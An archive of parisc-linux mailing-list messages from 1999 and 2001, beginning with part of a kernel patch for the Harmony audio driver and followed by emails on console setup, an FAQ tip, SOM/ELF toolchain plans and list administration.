+                                char *buffer,
+                                size_t count,
+                                loff_t *ppos)
+{
+	printk(KERN_ERR "harmony: read\n");
+	return -ENODEV;
+}
+
+static int find_free_buffer(void) {
+
+	int i,buf_to_fill_in = -1;
+
+	for (i=MAX_BUFS-1;i>=0;i--) {
+		if (harmony_audio->buf_state[i] == HARMONY_BUF_EMPTY) {
+			buf_to_fill_in = i;
+		}
+	}
+	return buf_to_fill_in;
+}
+
+
+/* Here is the place where we try to recognize file format.
+   Sun/NeXT .au files began with the string .snd
+   At offset 12 is specified the encoding.
+   At offset 16 is specified speed rate
+   At Offset 20 is specified the numbers of voices
+*/
+
+#define four_bytes_to_u32(start) (file_header[start] << 24)|\
+                                  (file_header[start+1] << 16)|\
+                                  (file_header[start+2] << 8)|\
+                                  (file_header[start+3]);
+
+#define test_rate(tested,real_value,harmony_value) if((tested)<=(real_value))\
+                                                    { harmony_audio->sample_rate=harmony_value; harmony_update_control(); return;}
+
+static void harmony_format_auto_detect(const char * buffer, int block_size)
+{
+	u8 file_header[24];
+	u32 start_string;
+	
+	if(block_size>24)
+	{
+		copy_from_user(file_header,buffer,24);
+		start_string=four_bytes_to_u32(0);
+		
+		if((file_header[4]==0)&&(start_string==0x2E736E64)) {
+			u32 format;
+			u32 nb_voices;
+			u32 speed;
+			
+			format=four_bytes_to_u32(12);
+			nb_voices=four_bytes_to_u32(20);
+			speed=four_bytes_to_u32(16);
+			
+			switch (format) {
+			case HARMONY_MAGIC_8B_ULAW:
+				harmony_audio->data_format=HARMONY_DF_8BIT_ULAW;
+				break;
+			case HARMONY_MAGIC_8B_ALAW:
+				harmony_audio->data_format=HARMONY_DF_8BIT_ALAW;
+				break;
+			case HARMONY_MAGIC_16B_LINEAR:
+				harmony_audio->data_format=HARMONY_DF_16BIT_LINEAR;
+				break;
+			default:
+				
+				harmony_set_control(HARMONY_DF_16BIT_LINEAR,HARMONY_SR_22KHZ,HARMONY_SS_MONO);
+				return;
+				
+			}
+			switch(nb_voices) {
+			case HARMONY_MAGIC_MONO:
+				harmony_audio->stereo_select=HARMONY_SS_MONO;
+				break;
+			case HARMONY_MAGIC_STEREO:
+				harmony_audio->stereo_select=HARMONY_SS_STEREO;
+				break;
+			default:
+				harmony_audio->stereo_select=HARMONY_SS_MONO;
+				break;
+			}
+			test_rate(speed,5513,HARMONY_SR_5KHZ);
+			test_rate(speed,6615,HARMONY_SR_6KHZ);
+			test_rate(speed,8000,HARMONY_SR_8KHZ);
+			test_rate(speed,9600,HARMONY_SR_9KHZ);
+			test_rate(speed,11025,HARMONY_SR_11KHZ);
+			test_rate(speed,16000,HARMONY_SR_16KHZ);
+			test_rate(speed,18900,HARMONY_SR_18KHZ);
+			test_rate(speed,22050,HARMONY_SR_22KHZ);
+			test_rate(speed,27429,HARMONY_SR_27KHZ);
+			test_rate(speed,32000,HARMONY_SR_32KHZ);
+			test_rate(speed,33075,HARMONY_SR_33KHZ);
+			test_rate(speed,37800,HARMONY_SR_37KHZ);
+			test_rate(speed,44100,HARMONY_SR_44KHZ);
+			test_rate(speed,48000,HARMONY_SR_48KHZ);
+		}
+	}
+	harmony_set_control(HARMONY_DF_16BIT_LINEAR,HARMONY_SR_22KHZ,HARMONY_SS_MONO);
+	return;
+}
+#undef four_bytes_to_u32
+#undef test_rate
+
+
+
+
+static ssize_t harmony_audio_write(struct file *file,
+                                 const char *buffer,
+                                 size_t size_count,
+                                 loff_t *ppos)
+{
+
+	u32 status;
+	int total_count = (int) size_count;
+	int count = 0;
+	int frame_size;
+	int buf_to_fill_in = 0;
+	long timeout ;
+	int dstatus,cntl;
+
+	if(!harmony_audio->format_initialized) 
+	   harmony_format_auto_detect(buffer,total_count);
+	
+	while(count < total_count) {
+
+		/* Wait until we're out of control mode */
+		while ((status = gsc_readl(&(harmony_audio->hpa->cntl))) >> 31); 
+
+		/* Figure out which buffer to fill in */
+		timeout = 0;
+		buf_to_fill_in = HARMONY_BUF_NONE;
+		while ((buf_to_fill_in<0) && (timeout<100000)) {
+			buf_to_fill_in = find_free_buffer();
+			if (buf_to_fill_in < 0) {
+				udelay(10);
+				timeout++;
+			}
+		}
+		if (timeout==100000) {
+			return -1;
+		}
+
+		/* Figure out the size of the frame */
+		if ((total_count - count) > 4095) {
+			frame_size = 4096;
+		} else {
+			frame_size = total_count - count;
+			/* Clear out the buffer, since there we'll only be 
+			   overlaying part of the old buffer with the new one */
+			harmony_silence(aligned_buf,(4096*buf_to_fill_in), 4096);
+		}
+
+		/* Copy the page to an aligned buffer */
+		copy_from_user(aligned_buf+(4096*buf_to_fill_in), buffer,frame_size );
+		CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+		harmony_audio->buf_state[buf_to_fill_in] = HARMONY_BUF_FILLED; 
+
+		harmony_audio->done = 0;
+		count += frame_size;
+
+		if (frame_size < 4096) {
+			count = total_count;
+			harmony_audio->done = 1;
+		}
+
+
+	dstatus = gsc_readl(&harmony_audio->hpa->dstatus);
+
+	cntl = gsc_readl(&harmony_audio->hpa->cntl);
+#if 0
+printk("write: buf: %i frame: %i done: %i cntl: 0x%x dstatus: 0x%x\n",buf_to_fill_in,harmony_audio->frames_so_far,harmony_audio->done,cntl,dstatus);
+#endif
+
+
+		if (harmony_audio->frames_so_far == 1) {
+			gsc_writel(__pa(aligned_buf+(4096*0)),&(harmony_audio->hpa->pnxtadd));  
+			gsc_writel(__pa(graveyard),&(harmony_audio->hpa->rnxtadd));  
+			harmony_enable_interrupts();
+		}
+
+		harmony_audio->frames_so_far++;
+	}
+
+	return count;
+}
+static unsigned int harmony_audio_poll(struct file *file,
+                                     struct poll_table_struct *wait)
+{
+	printk(KERN_ERR "harmony: poll\n");
+	return -ENODEV;
+}
+
+#define DBGEV printk
+#define DBGX printk
+#define DBGP
+
+static int harmony_audio_ioctl(struct inode *inode,
+                                struct file *file,
+                                unsigned int cmd,
+                                unsigned long arg)
+{
+
+
+	unsigned long flags;
+	int ival;
+	u32 new_format,newrate;
+	
+	switch (cmd) {
+	case OSS_GETVERSION:		/* _SIOR ('M', 118, int) */
+		DBGX("OSS_GETVERSION\n");
+		ival = SOUND_VERSION;
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETCAPS:	/* _SIOR ('P',15, int) */
+		DBGX("SNDCTL_DSP_GETCAPS\n");
+		ival = DSP_CAP_DUPLEX | DSP_CAP_BATCH ;
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETFMTS:	/* _SIOR ('P',11, int) */
+		DBGX("SNDCTL_DSP_GETFMTS\n");
+		ival = (AFMT_S16_BE | AFMT_MU_LAW | AFMT_A_LAW ); 
+		return put_user(ival, (int *) arg);
+		break;
+
+	case SOUND_PCM_READ_RATE:	/* _SIOR ('P', 2, int) */
+/*
+		I have no idea what this should be. 
+*/
+		ival = 0;	
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_SPEED:
+
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival) {
+			switch(ival) {
+				case 8000: newrate = HARMONY_SR_8KHZ; break;
+				case 16000: newrate = HARMONY_SR_16KHZ; break; 
+				case 27428: newrate = HARMONY_SR_27KHZ; break; 
+				case 32000: newrate = HARMONY_SR_32KHZ; break; 
+				case 48000: newrate = HARMONY_SR_48KHZ; break; 
+				case 9600: newrate = HARMONY_SR_9KHZ; break; 
+				case 5125: newrate = HARMONY_SR_5KHZ; break; 
+				case 11025: newrate = HARMONY_SR_11KHZ; break; 
+				case 18900: newrate = HARMONY_SR_18KHZ; break; 
+				case 22050: newrate = HARMONY_SR_22KHZ; break; 
+				case 37800: newrate = HARMONY_SR_37KHZ; break; 
+				case 44100: newrate = HARMONY_SR_44KHZ; break; 
+				case 33075: newrate = HARMONY_SR_33KHZ; break; 
+				case 6615: newrate = HARMONY_SR_6KHZ; break; 
+				default: printk("Could not match rate %d\n",ival); newrate = HARMONY_SR_8KHZ;
+			}
+			harmony_set_rate(newrate);
+		} else {
+			ival = harmony_audio->sample_rate;
+		}
+		return put_user(ival,(int*) arg);
+
+	case SNDCTL_DSP_STEREO:		/* _SIOWR('P', 3, int) */
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival != 0 && ival != 1)
+			return -EINVAL;
+		harmony_set_stereo(ival);
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETBLKSIZE:	/* _SIOWR('P', 4, int) */
+		ival = 4096;
+		return put_user(ival, (int *) arg);
+	case SNDCTL_DSP_RESET:
+		return 0;
+
+	case SNDCTL_DSP_SETFMT:		/* _SIOWR('P',5, int) */
+		if (get_user(ival, (int *) arg)) {
+			printk("arg, couldn't get arg\n");
+			return -EFAULT;
+		}
+		if (ival != AFMT_QUERY) {
+			switch (ival) {
+				case AFMT_MU_LAW: new_format = HARMONY_DF_8BIT_ULAW; break;
+				case AFMT_A_LAW:	new_format = HARMONY_DF_8BIT_ALAW; break;
+				case AFMT_U16_BE:	new_format = HARMONY_DF_16BIT_LINEAR; break; 
+				default: {
+					printk("Invalid sound format %d\n",ival);
+					return -EINVAL;
+				}
+			}
+			harmony_set_format(new_format);
+		} else {
+			switch (harmony_audio->data_format) {
+				case HARMONY_DF_8BIT_ULAW: ival = AFMT_MU_LAW; break;
+				case HARMONY_DF_8BIT_ALAW: ival = AFMT_A_LAW; break;
+				case HARMONY_DF_16BIT_LINEAR:	ival = AFMT_U16_BE; break;
+				default: ival = 0;
+			}
+		}
+		return put_user(ival, (int *) arg);
+
+	default:
+		DBGP("------ OH NO unknown ioctl 0x%x\n", cmd);
+		return -EINVAL;
+	}
+	DBGP("unimplemented ioctl 0x%x\n", cmd);
+	return -EINVAL;
+}
+static int harmony_audio_mmap(struct file *file, struct vm_area_struct *vma)
+{
+	printk(KERN_ERR "harmony: mmap\n");
+	return -ENODEV;
+}
+
+static void harmony_interrupt(int irq, void *dev, struct pt_regs *regs)
+{
+	u32 dstatus,pcuradd;
+	struct harmony_hpa * hpa;
+	int i, buf_to_free = 0, curbuf = MAX_BUFS;
+
+	/* Setup the hpa */
+
+	hpa = ((struct harmony_dev *)dev)->hpa;
+	
+	
+	/* Read dstatus and pcuradd (the current address) */
+	dstatus = gsc_readl(&hpa->dstatus);
+	pcuradd = gsc_readl(&hpa->pcuradd);
+
+	/* Find the last filled buffer */
+	curbuf = MAX_BUFS;
+	for (i=MAX_BUFS-1;i>=0;i--) {
+		if (harmony_audio->buf_state[i]==HARMONY_BUF_FILLED) {
+			curbuf = i;
+		}
+	}
+	if (curbuf == MAX_BUFS) {
+		if (harmony_audio->done) {
+		} else {
+			printk("harmony_interrupt: ack, nothing to play yet.  No available buffer.\n");
+		}
+	}
+
+	/* Turn off interrupts */
+	harmony_disable_interrupts();
+	dstatus = gsc_readl(&hpa->dstatus);
+
+	/* Check if this is a request to get the next play buffer */
+	if(dstatus & DSTATUS_PN) {
+		gsc_writel(__pa(aligned_buf+(4096*curbuf)), &hpa->pnxtadd);
+		harmony_audio->outstanding_buffers++;
+
+		if (!harmony_audio->done) {
+
+			/* Set the volume; we probably don't need to do this. */
+		
+			/* Transition the playing buffer to empty*/
+
+			buf_to_free = -1;
+			for (i=0;i<MAX_BUFS;i++) {
+				if (harmony_audio->buf_state[i]==HARMONY_BUF_PLAYING) {
+					buf_to_free = i;
+				}
+			}
+			if (buf_to_free == -1) {
+			} else {
+				harmony_audio->buf_state[buf_to_free] = HARMONY_BUF_EMPTY;
+			}
+
+			/* Transition the buffers that are ready to be played to playing*/
+
+			buf_to_free = -1;
+
+			for (i=0;i<MAX_BUFS;i++) {
+				if (harmony_audio->buf_state[i]==HARMONY_BUF_READY_TO_PLAY) {
+					buf_to_free = i;
+				}
+			}
+			if (buf_to_free == -1) {
+			} else {
+				harmony_audio->buf_state[buf_to_free] = HARMONY_BUF_PLAYING;
+			}
+			harmony_audio->buf_state[curbuf] = HARMONY_BUF_READY_TO_PLAY;
+
+			harmony_enable_interrupts();
+		}
+	}
+
+	/* Check if we're being asked to fill in a recording buffer */
+	if(dstatus & DSTATUS_RN) {
+
+		/* Not supported yet */
+		gsc_writel(__pa(graveyard) , &hpa->rnxtadd);
+		harmony_audio->outstanding_buffers--;
+	}
+	if (harmony_audio->done && (!harmony_audio->outstanding_buffers)) {
+		harmony_disable_interrupts();	
+	}
+}
+
+
+
+int harmony_audio_init(struct harmony_dev * harmony_device)
+{
+   int ret;
+   int cntl;
+   
+   harmony_audio=harmony_device;
+   
+	/* Request that IRQ */
+	request_irq(harmony_audio->irq, &harmony_interrupt, 0 ,"harmony", (void *) harmony_audio);
+
+   	ret = register_sound_dsp(&harmony_audio_fops, -1);
+	if (ret < 0) {
+		printk("Harmony: Error registering\n");
+		return -EFAULT;
+	}
+	harmony_set_control(HARMONY_DF_16BIT_LINEAR,HARMONY_SR_22KHZ,HARMONY_SS_MONO);
+
+	/* Clear the buffers so you don't end up with crap in the buffers. */ 
+
+	harmony_silence(aligned_buf,0,4096*MAX_BUFS);
+
+	/* Make sure this makes it to cache */
+	CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+
+	/* Wait around until we're out of control mode */
+	while((cntl = gsc_readl(&harmony_audio->hpa->cntl)) & CNTL_C);
+	return 0;
+}
+
+
+

--------------4695CB23E470794E9F8738B7--


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo, update to README.INSTALL
Date: Sat, 20 Jan 2001 12:54:17 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20010120115417.4CD28D1585@mail.esiee.fr>
References: <200101192031.MAA16124@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619563 10973 80.91.229.3 (22 Nov 2014 01:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:03 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: marteaut@esiee.fr  Sat Jan 20 04:50:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA10531
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 04:50:58 -0700
Original-Received: (qmail 1966 invoked by uid 15267); 20 Jan 2001 11:54:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1955 invoked from network); 20 Jan 2001 11:54:44 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 11:54:44 -0000
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4CD28D1585; Sat, 20 Jan 2001 12:54:17 +0100 (CET)
In-Reply-To: <200101192031.MAA16124@milano.cup.hp.com>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:9297

A little update for STI users                                         
                                                                      
>And need to add "console=ttyS0" parameter too!                       
>                                                                     
If you want to use the STI-console this parameter become              
"console=tty"                                                         
And do not forget to update the /dev/console too!                     
                                                                      
Thomas                                                                


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question for the Faq
Date: Sat, 20 Jan 2001 08:26:48 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20010120082648.A18988@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619563 10981 80.91.229.3 (22 Nov 2014 01:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Sat Jan 20 06:23:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA11171
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 06:23:32 -0700
Original-Received: (qmail 30448 invoked by uid 15267); 20 Jan 2001 13:27:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30428 invoked from network); 20 Jan 2001 13:27:20 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 13:27:20 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id D24BB22E99
	for <parisc-linux@thepuffingroup.com>; Sat, 20 Jan 2001 08:27:19 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 9D7EDC63; Sat, 20 Jan 2001 08:26:48 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9298

Hey,

I thought I'd post this to be added to the faq, as I was stumped on this
problem for a while, and I think some people might hit the same problem.

Q: The system boots up on the sTI Console but no "login:" prompt appears,
what do I do?

A: Uncomment the tty0 in /etc/inittab.

Just a thought....I spent a couple of days trying to figure out why the
console didn't completely work and I found that the tty's were commented
out under /etc/inittab.  


-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The plan for SOM, ELF32 and ELF64.
Date: Tue, 1 Jun 1999 14:21:47 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <19990601142147.Y1410@mencheca.ch.genedata.com>
References: <Pine.LNX.3.96.990531230648.8814C-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619564 10985 80.91.229.3 (22 Nov 2014 01:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Jun  1 06:22:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA08583
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 06:22:23 -0600
Original-Received: (qmail 10724 invoked by uid 15267); 1 Jun 1999 12:21:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10695 invoked from network); 1 Jun 1999 12:21:38 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 12:21:38 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id OAA26007;
	Tue, 1 Jun 1999 14:21:48 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id OAA589896;
	Tue, 1 Jun 1999 14:21:47 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10onYB-0002A2C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for adevries@redhat.com; Tue, 1 Jun 1999 14:21:47 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.3.96.990531230648.8814C-100000@devserv.devel.redhat.com>; from Alex deVries on Mon, May 31, 1999 at 11:16:34PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9299

On Mon, May 31, 1999 at 11:16:34PM -0400, Alex deVries wrote:
> The bad news is that we have a challenge no matter what we do.  The
> problems are that:
> 
> - we don't have a version of ld for SOM in binutils, which means we can't
>   really cross compile properly

.. and Jeff Law declined to put SOM support into BFD :-)

> The route we've planned to take is:
> 
> - focus on SOM only for kernel and userland, but not the linker.  When we
> need to link SOM userland, we'll have to do it on HPUX.

Or get sufficient HPUX binary compatibility that the HPUX linker works
under Linux/PARISC.  Of course the SOM loader is the first tiny part of that.

> - at some point Cygnus will deliver on their HP sponsored gcc support for
> PARISC 2.0, which should have some ELF64 code we can borrow. It's
> understood that the ELF32 and 64 specs have a lot in common.

You said you were unsure whether the release date for any of that stuff
was public knowledge.  Is there any public indication of dates yet?

> No reasonable distribution will be SOM based, so we're going to have to
> get ELF done before we get to that point.

> Let me know if I'm mistaken on any of this.

that all fits with my memory.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R P Herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Administrivia and a question was: [parisc-linux] Question for the
 Faq
Date: Sat, 20 Jan 2001 09:39:26 -0500 (EST)
Lines: 73
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0101200918470.28153-100000@swampfox.owlriver.com>
References: <20010120082648.A18988@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619564 10989 80.91.229.3 (22 Nov 2014 01:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:04 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: herrold@owlriver.com  Sat Jan 20 07:36:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA12001
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 07:36:36 -0700
Original-Received: (qmail 18395 invoked by uid 15267); 20 Jan 2001 14:40:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18388 invoked from network); 20 Jan 2001 14:40:24 -0000
Original-Received: from new.owlriver.com (root@198.30.29.42)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 14:40:24 -0000
Original-Received: from swampfox.owlriver.com (IDENT:herrold@swampfox.owlriver.com [206.21.107.147])
	by new.owlriver.com (8.9.3/8.9.3) with ESMTP id JAA21138
	for <parisc-linux@thepuffingroup.com>; Sat, 20 Jan 2001 09:37:58 -0500
In-Reply-To: <20010120082648.A18988@athena.louisville.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:9300

On Sat, 20 Jan 2001, Phillip D. Beal wrote:

> I thought I'd post this to be added to the faq, as I was stumped on this
> problem for a while, and I think some people might hit the same problem.

<snip good 'hint and kink type' contribution>

1. The submission got me thinking.  I just examined
http://parisc-linux.org/faq.html --- and there is no listing
of a formal role-address for an 'editor' of FAQ content.  So
it will probably be lost in the essectially unsearchable
archive at:
http://puffin.external.hp.com/mailing-lists/parisc-linux/


2, I was going to address the question of who is responsible
for making sure these gems to not get lost to the
administratative contact on the mailing list, so I checked
http://parisc-linux.org/lists.html -- no mention of the
role-address for parisc-linux-owner@thepuffingroup.com or
owner-parisc-linux@thepuffingroup.com.

Of course the first entry on that page, for the announce
archive is a dead link ...
http://parisc.thepuffingroup.com/mailing-lists/parisc-linux-announce


3. So I checked the mailer headers -- nope- the list
namagement headers are not there, of this sort from another
list:

List-Help: <http://www.suncoastlug.org/lists.html>
List-Unsubscribe:
     <mailto:majordomo@owlriver.com?body=unsubscribe%20slug>
List-Subscribe:
    <mailto:majordomo@owlriver.com?body=subscribe%20slug%20YourName>
List-Owner: <mailto:owner-slug@owlriver.com> (Human contact
    for the list)
List-Post: <mailto:slug@owlriver.com>
Sender: owner-slug@owlriver.com

Nope, no help there.


4.  In getting to the project webpages, I pasted
parisc-linux-owner@thepuffingroup.com, and editted that down
to www.thepuffingroup.com -- which went through two redirects
to get to: http://parisc-linux.org/

A one line trailer might be useful:

See the website: http://parisc-linux.org/


-------------------------------

I don't see problems so much as too much work for too few
hands, resulting in the technical side getting done first (as
it must be a priority, lest the project be Yet Anither Dead
Open Source Project [tm]).  Pollyanna would say they were
'opportunities'.

I can file a good bug report describing what I see -- I can
follow documentation with the best of them -- I stand in awe
of Alex, Grant and the rest of the coding team on the depth of
their knowledge in getting the port up and running.

So my question is: How may one contribute at an editorial and
project infrastructure level?  I wish to do so, and bet others
on the list do too.

-- Russ Herrold


From - Thu Nov 08 21:15:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Administrivia and a question was: [parisc-linux] Question for theFaq
Date: Sat, 20 Jan 2001 10:46:11 -0500
Organization: Linuxcare
Lines: 86
Approved: news@gmane.org
Message-ID: <3A69B2C3.86F207FC@linuxcare.com>
References: <Pine.LNX.4.30.0101200918470.28153-100000@swampfox.owlriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619564 10991 80.91.229.3 (22 Nov 2014 01:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: R P Herrold <herrold@owlriver.com>
Original-X-From: jvinet@linuxcare.com  Sat Jan 20 08:37:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA12533
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Jan 2001 08:37:19 -0700
Original-Received: (qmail 2748 invoked by uid 15267); 20 Jan 2001 15:41:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2741 invoked from network); 20 Jan 2001 15:41:07 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 20 Jan 2001 15:41:07 -0000
Original-Received: (qmail 29669 invoked from network); 20 Jan 2001 15:41:03 -0000
Original-Received: from port-8-33.magma.ca (HELO linuxcare.com) (jvinet@64.26.163.33)
  by smtp.linuxcare.com with SMTP; 20 Jan 2001 15:41:03 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9301

Thanks Russ for your comments, I will try to have these issues addressed
this week.

Jane

R P Herrold wrote:
> 
> On Sat, 20 Jan 2001, Phillip D. Beal wrote:
> 
> > I thought I'd post this to be added to the faq, as I was stumped on this
> > problem for a while, and I think some people might hit the same problem.
> 
> <snip good 'hint and kink type' contribution>
> 
> 1. The submission got me thinking.  I just examined
> http://parisc-linux.org/faq.html --- and there is no listing
> of a formal role-address for an 'editor' of FAQ content.  So
> it will probably be lost in the essectially unsearchable
> archive at:
> http://puffin.external.hp.com/mailing-lists/parisc-linux/
> 
> 2, I was going to address the question of who is responsible
> for making sure these gems to not get lost to the
> administratative contact on the mailing list, so I checked
> http://parisc-linux.org/lists.html -- no mention of the
> role-address for parisc-linux-owner@thepuffingroup.com or
> owner-parisc-linux@thepuffingroup.com.
> 
> Of course the first entry on that page, for the announce
> archive is a dead link ...
> http://parisc.thepuffingroup.com/mailing-lists/parisc-linux-announce
> 
> 3. So I checked the mailer headers -- nope- the list
> namagement headers are not there, of this sort from another
> list:
> 
> List-Help: <http://www.suncoastlug.org/lists.html>
> List-Unsubscribe:
>      <mailto:majordomo@owlriver.com?body=unsubscribe%20slug>
> List-Subscribe:
>     <mailto:majordomo@owlriver.com?body=subscribe%20slug%20YourName>
> List-Owner: <mailto:owner-slug@owlriver.com> (Human contact
>     for the list)
> List-Post: <mailto:slug@owlriver.com>
> Sender: owner-slug@owlriver.com
> 
> Nope, no help there.
> 
> 4.  In getting to the project webpages, I pasted
> parisc-linux-owner@thepuffingroup.com, and editted that down
> to www.thepuffingroup.com -- which went through two redirects
